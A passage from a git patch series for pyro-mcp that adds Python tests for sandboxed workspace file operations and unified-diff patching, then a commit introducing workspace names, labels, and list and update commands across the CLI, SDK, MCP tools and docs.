test_workspace_file_helpers_cover_single_paths_and_path_validation(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + listing = list_workspace_files( + workspace_dir, + workspace_path="/workspace/note.txt", + recursive=False, + ) + assert listing.path == "/workspace/note.txt" + assert listing.artifact_type == "file" + assert [entry.path for entry in listing.entries] == ["/workspace/note.txt"] + + assert normalize_workspace_path("src/app.py") == "/workspace/src/app.py" + assert workspace_host_path(workspace_dir, "src/app.py") == workspace_dir / "src" / "app.py" + + with pytest.raises(ValueError, match="must not be empty"): + normalize_workspace_path(" ") + with pytest.raises(ValueError, match="must stay inside /workspace"): + normalize_workspace_path("..") + with pytest.raises(ValueError, match="must stay inside /workspace"): + normalize_workspace_path("/tmp/outside") + with pytest.raises(ValueError, match="must stay inside /workspace"): + normalize_workspace_path("/") + + +def test_workspace_file_read_limits_and_write_validation(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "big.txt").write_text("hello\n", encoding="utf-8") + (workspace_dir / "dir").mkdir() + real_dir = workspace_dir / "real" + real_dir.mkdir() + os.symlink("real", workspace_dir / "linked") + + with pytest.raises(ValueError, match="max_bytes must be positive"): + read_workspace_file(workspace_dir, workspace_path="/workspace/big.txt", max_bytes=0) + with pytest.raises(ValueError, match="at most"): + read_workspace_file( + workspace_dir, + workspace_path="/workspace/big.txt", + max_bytes=WORKSPACE_FILE_MAX_BYTES + 1, + ) + with pytest.raises(RuntimeError, match="exceeds the maximum supported size"): + read_workspace_file(workspace_dir, workspace_path="/workspace/big.txt", max_bytes=4) + + with pytest.raises(RuntimeError, match="regular file targets"): + write_workspace_file(workspace_dir, workspace_path="/workspace/dir", text="nope\n") + with pytest.raises(RuntimeError, match="symlinked parent"): + write_workspace_file( + workspace_dir, + workspace_path="/workspace/linked/out.txt", + text="nope\n", + ) + with pytest.raises(ValueError, match="at most"): + write_workspace_file( + workspace_dir, + workspace_path="/workspace/huge.txt", + text="x" * (WORKSPACE_FILE_MAX_BYTES + 1), + ) + + +def test_workspace_file_list_rejects_unsupported_filesystem_types(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + fifo_path = workspace_dir / "pipe" + os.mkfifo(fifo_path) + + with pytest.raises(RuntimeError, match="unsupported workspace path type"): + list_workspace_files(workspace_dir, workspace_path="/workspace", recursive=True) + + +def test_parse_and_apply_unified_text_patch_round_trip() -> None: + patch_text = """--- a/src/app.py ++++ b/src/app.py +@@ -1,2 +1,3 @@ + print("old") +-print("bug") ++print("fixed") ++print("done") +--- /dev/null ++++ b/src/new.py +@@ -0,0 +1 @@ ++print("new") +--- a/src/remove.py ++++ /dev/null +@@ -1 +0,0 @@ +-print("remove") +""" + patches = parse_unified_text_patch(patch_text) + assert [(item.path, item.status) for item in patches] == [ + ("/workspace/src/app.py", "modified"), + ("/workspace/src/new.py", "added"), + ("/workspace/src/remove.py", "deleted"), + ] + + modified = apply_unified_text_patch( + path="/workspace/src/app.py", + patch=patches[0], + before_text='print("old")\nprint("bug")\n', + ) + added = apply_unified_text_patch( + path="/workspace/src/new.py", + patch=patches[1], + before_text=None, + ) + deleted = apply_unified_text_patch( + path="/workspace/src/remove.py", + patch=patches[2], + before_text='print("remove")\n', + ) + + assert modified == 'print("old")\nprint("fixed")\nprint("done")\n' + assert added == 'print("new")\n' + assert deleted is None + + +def test_parse_unified_text_patch_rejects_unsupported_features() -> None: + with pytest.raises(ValueError, match="unsupported patch feature"): + parse_unified_text_patch( + """diff --git a/file.txt b/file.txt +old mode 100644 +--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ +-old ++new +""" + ) + + with pytest.raises(ValueError, match="rename and copy patches are not supported"): + parse_unified_text_patch( + """--- a/old.txt ++++ b/new.txt +@@ -1 +1 @@ +-old ++new +""" + ) + + +def test_parse_unified_text_patch_handles_git_headers_and_validation_errors() -> None: + parsed = parse_unified_text_patch( + """ +diff --git a/file.txt b/file.txt +index 1234567..89abcde 100644 +--- /workspace/file.txt ++++ /workspace/file.txt +@@ -1 +1 @@ +-old ++new +\\ No newline at end of file +""" + ) + assert parsed[0].path == "/workspace/file.txt" + + with pytest.raises(ValueError, match="must not be empty"): + parse_unified_text_patch("") + with pytest.raises(ValueError, match="invalid patch header"): + parse_unified_text_patch("oops\n") + with pytest.raises(ValueError, match="missing '\\+\\+\\+' header"): + parse_unified_text_patch("--- a/file.txt\n") + with pytest.raises(ValueError, match="has no hunks"): + parse_unified_text_patch("--- a/file.txt\n+++ b/file.txt\n") + with pytest.raises(ValueError, match="line counts do not match"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1,2 +1,1 @@ +-old ++new +""" + ) + with pytest.raises(ValueError, match="invalid patch hunk line"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ +?bad +""" + ) + + with pytest.raises(ValueError, match="at most"): + parse_unified_text_patch("x" * (WORKSPACE_PATCH_MAX_BYTES + 1)) + with pytest.raises(ValueError, match="patch must target a workspace path"): + parse_unified_text_patch("--- /dev/null\n+++ /dev/null\n") + with pytest.raises(ValueError, match="patch must contain at least one file change"): + parse_unified_text_patch( + """diff --git a/file.txt b/file.txt +index 1234567..89abcde 100644 +""" + ) + with pytest.raises(ValueError, match="unsupported patch feature"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +new mode 100644 +""" + ) + with pytest.raises(ValueError, match="invalid patch hunk header"): + parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ + old +@@bogus +""" + ) + + parsed = parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +index 1234567..89abcde 100644 +@@ -1 +1 @@ +-old ++new +@@ -3 +3 @@ +-before ++after +""" + ) + assert len(parsed[0].hunks) == 2 + + +def test_apply_unified_text_patch_rejects_context_mismatches() -> None: + patch = parse_unified_text_patch( + """--- a/file.txt ++++ b/file.txt +@@ -1 +1 @@ +-before ++after +""" + )[0] + + with pytest.raises(RuntimeError, match="patch context does not match"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=patch, + before_text="different\n", + ) + with pytest.raises(RuntimeError, match="patch context does not match"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="modified", + hunks=[ + WorkspacePatchHunk( + old_start=1, + old_count=1, + new_start=1, + new_count=1, + lines=[" same\n"], + ) + ], + ), + before_text="", + ) + + +def test_apply_unified_text_patch_rejects_range_prefix_delete_and_size_errors() -> None: + with pytest.raises(RuntimeError, match="out of range"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="modified", + hunks=[ + WorkspacePatchHunk( + old_start=3, + old_count=1, + new_start=3, + new_count=1, + lines=["-old\n", "+new\n"], + ) + ], + ), + before_text="old\n", + ) + + with pytest.raises(RuntimeError, match="invalid patch line prefix"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="modified", + hunks=[ + WorkspacePatchHunk( + old_start=1, + old_count=0, + new_start=1, + new_count=0, + lines=["?bad\n"], + ) + ], + ), + before_text="", + ) + + with pytest.raises(RuntimeError, match="delete patch did not remove all content"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="deleted", + hunks=[ + WorkspacePatchHunk( + old_start=1, + old_count=1, + new_start=1, + new_count=0, + lines=["-first\n"], + ) + ], + ), + before_text="first\nsecond\n", + ) + + huge_payload = "x" * (WORKSPACE_FILE_MAX_BYTES + 1) + with pytest.raises(RuntimeError, match="exceeds the maximum supported size"): + apply_unified_text_patch( + path="/workspace/file.txt", + patch=WorkspaceTextPatch( + path="/workspace/file.txt", + status="added", + hunks=[ + WorkspacePatchHunk( + old_start=0, + old_count=0, + new_start=1, + new_count=1, + lines=[f"+{huge_payload}"], + ) + ], + ), + before_text=None, + ) diff --git a/uv.lock b/uv.lock index 681046b..b8da050 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.1.0" +version = "3.2.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 446f7fce042369f4392fc569cfd31a9302626903 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 23:16:10 -0300 Subject: [PATCH 27/49] Add workspace naming and discovery Make concurrent workspaces easier to rediscover and resume without relying on opaque IDs alone. Add optional workspace names, key/value labels, workspace list, and workspace update across the CLI, Python SDK, and MCP surface, and persist last_activity_at so list ordering reflects real mutating activity. Update the stable contract, install/first-run docs, roadmap, and Python workspace example to teach the new discovery flow, and validate it with focused manager/CLI/API/server coverage plus uv lock, make check, make dist-check, and a real multi-workspace smoke for create, list, update, exec, reorder, and delete. --- CHANGELOG.md | 12 + README.md | 15 +- docs/first-run.md | 12 +- docs/install.md | 11 +- docs/integrations.md | 4 + docs/public-contract.md | 23 +- docs/roadmap/llm-chat-ergonomics.md | 7 +- .../3.3.0-workspace-naming-and-discovery.md | 3 +- examples/python_workspace.py | 9 + pyproject.toml | 2 +- src/pyro_mcp/api.py | 50 ++++ src/pyro_mcp/cli.py | 168 ++++++++++++ src/pyro_mcp/contract.py | 18 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 203 +++++++++++++- tests/test_api.py | 48 ++++ tests/test_cli.py | 250 +++++++++++++++++- tests/test_public_contract.py | 12 + tests/test_server.py | 24 ++ tests/test_vm_manager.py | 147 ++++++++++ uv.lock | 2 +- 21 files changed, 999 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2f230fa..76f26bd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,18 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.3.0 + +- Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server + with `pyro workspace create --name/--label`, `pyro workspace list`, `pyro workspace update`, + `Pyro.list_workspaces()`, `Pyro.update_workspace()`, and the matching `workspace_list` / + `workspace_update` MCP tools. +- Added persisted `name`, key/value `labels`, and `last_activity_at` metadata to workspace create, + status, reset, and update payloads, and surfaced compact workspace summaries from + `workspace list`. +- Tracked `last_activity_at` on real workspace mutations so humans and chat-driven agents can + resume the most recently used workspace without managing opaque IDs out of band. + ## 3.2.0 - Added model-native live workspace file operations across the CLI, Python SDK, and MCP server diff --git a/README.md b/README.md index e129c00..c6bbe92 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.2.0: [CHANGELOG.md#320](CHANGELOG.md#320) +- What's new in 3.3.0: [CHANGELOG.md#330](CHANGELOG.md#330) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -59,7 +59,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.2.0 +Catalog version: 3.3.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -86,7 +86,9 @@ for the published package, or `uv run pyro ...` from a source checkout. ```bash uv tool install pyro-mcp -WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +pyro workspace list +pyro workspace update "$WORKSPACE_ID" --label owner=codex pyro workspace sync push "$WORKSPACE_ID" ./changes pyro workspace file read "$WORKSPACE_ID" note.txt pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" @@ -103,6 +105,7 @@ pyro workspace delete "$WORKSPACE_ID" That stable workspace path gives you: - initial host-in seeding with `--seed-path` +- discovery metadata with `--name`, `--label`, `workspace list`, and `workspace update` - later host-in updates with `workspace sync push` - model-native file inspection and text edits with `workspace file *` and `workspace patch apply` - one-shot commands with `workspace exec` and persistent PTYs with `workspace shell *` @@ -117,6 +120,8 @@ After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - create a persistent workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo` +- add a human-friendly workspace name with `uvx --from pyro-mcp pyro workspace create debian:12 --name repro-fix --label issue=123` +- rediscover or retag workspaces with `uvx --from pyro-mcp pyro workspace list` and `uvx --from pyro-mcp pyro workspace update WORKSPACE_ID --label owner=codex` - update a live workspace from the host with `uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes` - enable outbound guest networking for one workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress` - add literal or file-backed secrets with `uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` @@ -184,7 +189,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.2.0 +Catalog version: 3.3.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -300,7 +305,7 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.2.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.3.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/first-run.md b/docs/first-run.md index 51c6bb3..4d0f033 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.2.0 +Catalog version: 3.3.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -73,8 +73,10 @@ installed `pyro` binary by dropping the `uvx --from pyro-mcp` prefix, or with `u a source checkout. ```bash -$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --json | tee /tmp/pyro-workspace.json +$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --json | tee /tmp/pyro-workspace.json $ export WORKSPACE_ID="$(python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])' < /tmp/pyro-workspace.json)" +$ uvx --from pyro-mcp pyro workspace list +$ uvx --from pyro-mcp pyro workspace update "$WORKSPACE_ID" --label owner=codex $ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes $ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt $ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" @@ -95,7 +97,9 @@ $ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" ```bash $ uvx --from pyro-mcp pyro demo -$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo +$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 +$ uvx --from pyro-mcp pyro workspace list +$ uvx --from pyro-mcp pyro workspace update WORKSPACE_ID --label owner=codex $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes $ uvx --from pyro-mcp pyro workspace file list WORKSPACE_ID src --recursive $ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py @@ -248,7 +252,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.2.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.3.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index 67a35cb..c1c1475 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.2.0 +Catalog version: 3.3.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -140,7 +140,9 @@ for the published package, or `uv run pyro ...` from a source checkout. ```bash uv tool install pyro-mcp -WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +pyro workspace list +pyro workspace update "$WORKSPACE_ID" --label owner=codex pyro workspace sync push "$WORKSPACE_ID" ./changes pyro workspace file read "$WORKSPACE_ID" note.txt pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" @@ -155,6 +157,7 @@ pyro workspace delete "$WORKSPACE_ID" This is the stable persistent-workspace contract: - `workspace create` seeds `/workspace` +- `workspace create --name/--label`, `workspace list`, and `workspace update` make workspaces discoverable - `workspace sync push` imports later host-side changes - `workspace file *` and `workspace patch apply` cover model-native text inspection and edits - `workspace exec` and `workspace shell *` keep work inside one sandbox @@ -208,6 +211,8 @@ pyro run debian:12 -- git --version After the CLI path works, you can move on to: - persistent workspaces: `pyro workspace create debian:12 --seed-path ./repo` +- workspace discovery metadata: `pyro workspace create debian:12 --name repro-fix --label issue=123` +- workspace discovery commands: `pyro workspace list` and `pyro workspace update WORKSPACE_ID --label owner=codex` - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` - guest networking policy: `pyro workspace create debian:12 --network-policy egress` - workspace secrets: `pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` @@ -269,7 +274,7 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.2.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.3.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index f047697..cceb5f1 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -31,6 +31,7 @@ Best when: Recommended surface: - `vm_run` +- `workspace_create(name=..., labels=...)` + `workspace_list` + `workspace_update` when the agent needs to rediscover or retag long-lived workspaces between turns - `workspace_create(seed_path=...)` + `workspace_sync_push` + `workspace_exec` when the agent needs persistent workspace state - `workspace_file_list` / `workspace_file_read` / `workspace_file_write` / `workspace_patch_apply` when the agent needs model-native file inspection and text edits inside one live workspace - `workspace_create(..., secrets=...)` + `workspace_exec(..., secret_env=...)` when the workspace needs private tokens or authenticated setup @@ -73,6 +74,7 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` +- `Pyro.create_workspace(name=..., labels=...)` + `Pyro.list_workspaces()` + `Pyro.update_workspace(...)` when repeated workspaces need human-friendly discovery metadata - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required - `Pyro.list_workspace_files(...)` / `Pyro.read_workspace_file(...)` / `Pyro.write_workspace_file(...)` / `Pyro.apply_workspace_patch(...)` when the agent needs model-native file inspection and text edits inside one live workspace - `Pyro.create_workspace(..., secrets=...)` + `Pyro.exec_workspace(..., secret_env=...)` when the workspace needs private tokens or authenticated setup @@ -88,6 +90,8 @@ Lifecycle note: that final exec - use `create_workspace(seed_path=...)` when the agent needs repeated commands in one persistent `/workspace` that starts from host content +- use `create_workspace(name=..., labels=...)`, `list_workspaces()`, and `update_workspace(...)` + when the agent or operator needs to rediscover the right workspace later without external notes - use `push_workspace_sync(...)` when later host-side changes need to be imported into that running workspace without recreating it - use `list_workspace_files(...)`, `read_workspace_file(...)`, `write_workspace_file(...)`, and diff --git a/docs/public-contract.md b/docs/public-contract.md index bb4770e..cd5167e 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -25,6 +25,7 @@ Top-level commands: - `pyro mcp serve` - `pyro run` - `pyro workspace create` +- `pyro workspace list` - `pyro workspace sync push` - `pyro workspace stop` - `pyro workspace start` @@ -53,6 +54,7 @@ Top-level commands: - `pyro workspace shell signal` - `pyro workspace shell close` - `pyro workspace status` +- `pyro workspace update` - `pyro workspace logs` - `pyro workspace delete` - `pyro doctor` @@ -78,8 +80,10 @@ Behavioral guarantees: - `pyro demo ollama` prints log lines plus a final summary line. - `pyro workspace create` auto-starts a persistent workspace. - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `pyro workspace create --name NAME --label KEY=VALUE` attaches human-oriented discovery metadata without changing the stable `workspace_id`. - `pyro workspace create --network-policy {off,egress,egress+published-ports}` controls workspace guest networking and whether services may publish localhost ports. - `pyro workspace create --secret NAME=VALUE` and `--secret-file NAME=PATH` persist guest-only UTF-8 secrets outside `/workspace`. +- `pyro workspace list` returns persisted workspaces sorted by most recent `last_activity_at`. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. - `pyro workspace stop WORKSPACE_ID` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `pyro workspace start WORKSPACE_ID` restarts one stopped workspace without resetting `/workspace`. @@ -103,11 +107,14 @@ Behavioral guarantees: - `pyro workspace shell open --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into the opened shell environment. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. +- `pyro workspace update` changes only discovery metadata such as `name` and key/value `labels`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. +- Workspace create/status/reset/update results expose `name`, `labels`, and `last_activity_at`. - Workspace create/status/reset results expose `network_policy`. - Workspace create/status/reset results expose `reset_count` and `last_reset_at`. - Workspace create/status/reset results expose safe `secrets` metadata with each secret name and source kind, but never the secret values. - `pyro workspace status` includes aggregate `service_count` and `running_service_count` fields. +- `pyro workspace list` returns one summary row per persisted workspace with `workspace_id`, `name`, `labels`, `environment`, `state`, `created_at`, `last_activity_at`, `expires_at`, `command_count`, `service_count`, and `running_service_count`. - `pyro workspace service start`, `pyro workspace service list`, and `pyro workspace service status` expose published-port metadata when present. ## Python SDK Contract @@ -125,7 +132,8 @@ Supported public entrypoints: - `Pyro.inspect_environment(environment)` - `Pyro.prune_environments()` - `Pyro.create_vm(...)` -- `Pyro.create_workspace(..., network_policy="off", secrets=None)` +- `Pyro.create_workspace(..., name=None, labels=None, network_policy="off", secrets=None)` +- `Pyro.list_workspaces()` - `Pyro.push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `Pyro.stop_workspace(workspace_id)` - `Pyro.start_workspace(workspace_id)` @@ -160,6 +168,7 @@ Supported public entrypoints: - `Pyro.delete_workspace(workspace_id)` - `Pyro.status_vm(vm_id)` - `Pyro.status_workspace(workspace_id)` +- `Pyro.update_workspace(workspace_id, *, name=None, clear_name=False, labels=None, clear_labels=None)` - `Pyro.logs_workspace(workspace_id)` - `Pyro.network_info_vm(vm_id)` - `Pyro.reap_expired()` @@ -173,7 +182,8 @@ Stable public method names: - `inspect_environment(environment)` - `prune_environments()` - `create_vm(...)` -- `create_workspace(..., network_policy="off", secrets=None)` +- `create_workspace(..., name=None, labels=None, network_policy="off", secrets=None)` +- `list_workspaces()` - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `stop_workspace(workspace_id)` - `start_workspace(workspace_id)` @@ -208,6 +218,7 @@ Stable public method names: - `delete_workspace(workspace_id)` - `status_vm(vm_id)` - `status_workspace(workspace_id)` +- `update_workspace(workspace_id, *, name=None, clear_name=False, labels=None, clear_labels=None)` - `logs_workspace(workspace_id)` - `network_info_vm(vm_id)` - `reap_expired()` @@ -220,8 +231,10 @@ Behavioral defaults: - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. - `allow_host_compat` defaults to `False` on `create_workspace(...)`. - `Pyro.create_workspace(..., seed_path=...)` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `Pyro.create_workspace(..., name=..., labels=...)` attaches human-oriented discovery metadata without changing the stable `workspace_id`. - `Pyro.create_workspace(..., network_policy="off"|"egress"|"egress+published-ports")` controls workspace guest networking and whether services may publish host ports. - `Pyro.create_workspace(..., secrets=...)` persists guest-only UTF-8 secrets outside `/workspace`. +- `Pyro.list_workspaces()` returns persisted workspace summaries sorted by most recent `last_activity_at`. - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.stop_workspace(...)` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `Pyro.start_workspace(...)` restarts one stopped workspace without resetting `/workspace`. @@ -248,6 +261,7 @@ Behavioral defaults: - `Pyro.open_shell(...)` opens a persistent PTY shell attached to one started workspace. - `Pyro.read_shell(...)` reads merged text output from that shell by cursor. - `Pyro.write_shell(...)`, `Pyro.signal_shell(...)`, and `Pyro.close_shell(...)` operate on that persistent shell session. +- `Pyro.update_workspace(...)` changes only discovery metadata such as `name` and key/value `labels`. ## MCP Contract @@ -270,6 +284,7 @@ Advanced lifecycle tools: Persistent workspace tools: - `workspace_create` +- `workspace_list` - `workspace_sync_push` - `workspace_stop` - `workspace_start` @@ -298,6 +313,7 @@ Persistent workspace tools: - `shell_signal` - `shell_close` - `workspace_status` +- `workspace_update` - `workspace_logs` - `workspace_delete` @@ -308,8 +324,10 @@ Behavioral defaults: - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. - `workspace_create` exposes `allow_host_compat`, which defaults to `false`. - `workspace_create` accepts optional `seed_path` and seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `workspace_create` accepts optional `name` and `labels` metadata for human discovery without changing the stable `workspace_id`. - `workspace_create` accepts `network_policy` with `off`, `egress`, or `egress+published-ports` to control workspace guest networking and service port publication. - `workspace_create` accepts optional `secrets` and persists guest-only UTF-8 secret material outside `/workspace`. +- `workspace_list` returns persisted workspace summaries sorted by most recent `last_activity_at`. - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `workspace_stop` stops one persistent workspace without deleting its `/workspace`, snapshots, or command history. - `workspace_start` restarts one stopped workspace without resetting `/workspace`. @@ -327,6 +345,7 @@ Behavioral defaults: - `service_start` accepts optional `published_ports` to expose guest TCP ports on `127.0.0.1` when the workspace network policy is `egress+published-ports`. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `workspace_exec` accepts optional `secret_env` mappings for one exec call and leaves the workspace alive. +- `workspace_update` changes only discovery metadata such as `name` and key/value `labels`. - `service_start` accepts optional `secret_env` mappings for one service start call. - `shell_open` accepts optional `secret_env` mappings for the opened shell session. - `shell_open`, `shell_read`, `shell_write`, `shell_signal`, and `shell_close` manage persistent PTY shells inside a started workspace. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 5dcd8cb..a7d98f4 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.2.0`: +Current baseline is `3.3.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -46,7 +46,7 @@ More concretely, the model should not need to: ## Milestones 1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done -2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) +2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done 3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) 4. [`3.5.0` Chat-Friendly 